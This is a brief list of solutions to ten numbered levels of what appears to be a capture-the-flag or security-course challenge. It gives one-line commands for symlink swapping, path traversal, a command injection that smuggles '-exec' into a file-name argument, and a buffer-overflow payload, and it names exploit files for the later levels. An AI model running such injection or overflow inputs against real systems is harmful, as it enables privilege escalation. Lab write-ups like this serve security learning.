

Exploits

1. Used environment approach `$HOME = /var/challenge/level1`
2. Used symlink approach `rm ~/script.sh && ln -s myscript.sh ~/script.sh`
3. Used path traversal approach `./ 3 ../../../../usr/local/bin/l33t`
4. Used command injection attack `./4 "dummy.txt -exec /usr/local/bin/l33t \\";`
5. Used Buffer Overflow `./5 sort $(python3 -c "print('A' * 192 + 'l33t')")`
6. Used Buffer Overflow `exploit6.c`
7. Used Buffer Overflow `exploit7.c`
8. Used Format String approach `exploit8.c`
9. Used Buffer Overflow approach `exploit9.c`
10. Used Buffer Overflow approach `exploit10.c`